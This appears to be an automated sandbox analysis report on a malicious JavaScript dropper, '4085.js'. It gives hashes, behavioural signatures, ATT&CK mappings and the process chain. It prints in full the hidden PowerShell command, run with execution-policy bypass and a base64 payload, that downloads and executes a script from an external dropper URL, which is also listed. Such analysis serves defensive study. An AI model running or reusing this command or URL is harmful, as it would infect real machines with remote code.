1b6d6a929b270d3fd04c33dd11e0517bc96d6bc17f39ba9dc521e75209e1f410

General

Target

4085.js
Size

776KB
MD5

b6e9c6f1113c92ad6757266ae75769a2
SHA1

9190e8d268db4deb7cd97624b17cba6617244699
SHA256

9fca4b9bb2238dec26fc6b6161dc9d62647883966f1cfd661537fb8c097ff4fe
SHA512

1684c2350b540da9326159455cb57937a2fefc1b97f1231c12cc66ffa601f71ce52096d5c37737d644c49b1c9ae7b5e33eb86890b1405a79d2aa364afbc1f09b

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://erzurum.us/65376345273497600381/tjTyjrjywrdmJoaaenvF/dll/assistant.php

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 768 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

768 powershell.exe
768 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 768 powershell.exe

flow	pid	process
7	768	powershell.exe

pid	process
768	powershell.exe
768	powershell.exe

description	pid	process
Token: SeDebugPrivilege	768	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

wscript.execmd.exe

description	pid	process	target process
PID 1096 wrote to memory of 1652	1096	wscript.exe	cmd.exe
PID 1096 wrote to memory of 1652	1096	wscript.exe	cmd.exe
PID 1096 wrote to memory of 1652	1096	wscript.exe	cmd.exe
PID 1652 wrote to memory of 768	1652	cmd.exe	powershell.exe
PID 1652 wrote to memory of 768	1652	cmd.exe	powershell.exe
PID 1652 wrote to memory of 768	1652	cmd.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4085.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1096

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBlAHIAegB1AHIAdQBtAC4AdQBzAC8ANgA1ADMANwA2ADMANAA1ADIANwAzADQAOQA3ADYAMAAwADMAOAAxAC8AdABqAFQAeQBqAHIAagB5AHcAcgBkAG0ASgBvAGEAYQBlAG4AdgBGAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
2⤵
- Suspicious use of WriteProcessMemory
PID:1652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBlAHIAegB1AHIAdQBtAC4AdQBzAC8ANgA1ADMANwA2ADMANAA1ADIANwAzADQAOQA3ADYAMAAwADMAOAAxAC8AdABqAFQAeQBqAHIAagB5AHcAcgBkAG0ASgBvAGEAYQBlAG4AdgBGAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:768

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/768-60-0x0000000000000000-mapping.dmp

Download
memory/768-61-0x000007FEFBD21000-0x000007FEFBD23000-memory.dmp

Filesize
8KB

Download
memory/768-62-0x0000000002360000-0x0000000002361000-memory.dmp

Filesize
4KB

Download
memory/768-63-0x000000001AC80000-0x000000001AC81000-memory.dmp

Filesize
4KB

Download
memory/768-64-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/768-65-0x00000000024E0000-0x00000000024E1000-memory.dmp

Filesize
4KB

Download
memory/768-67-0x000000001AC04000-0x000000001AC06000-memory.dmp

Filesize
8KB

Download
memory/768-66-0x000000001AC00000-0x000000001AC02000-memory.dmp

Filesize
8KB

Download
memory/768-68-0x000000001C500000-0x000000001C501000-memory.dmp

Filesize
4KB

Download
memory/1652-59-0x0000000000000000-mapping.dmp

Download

Analysis

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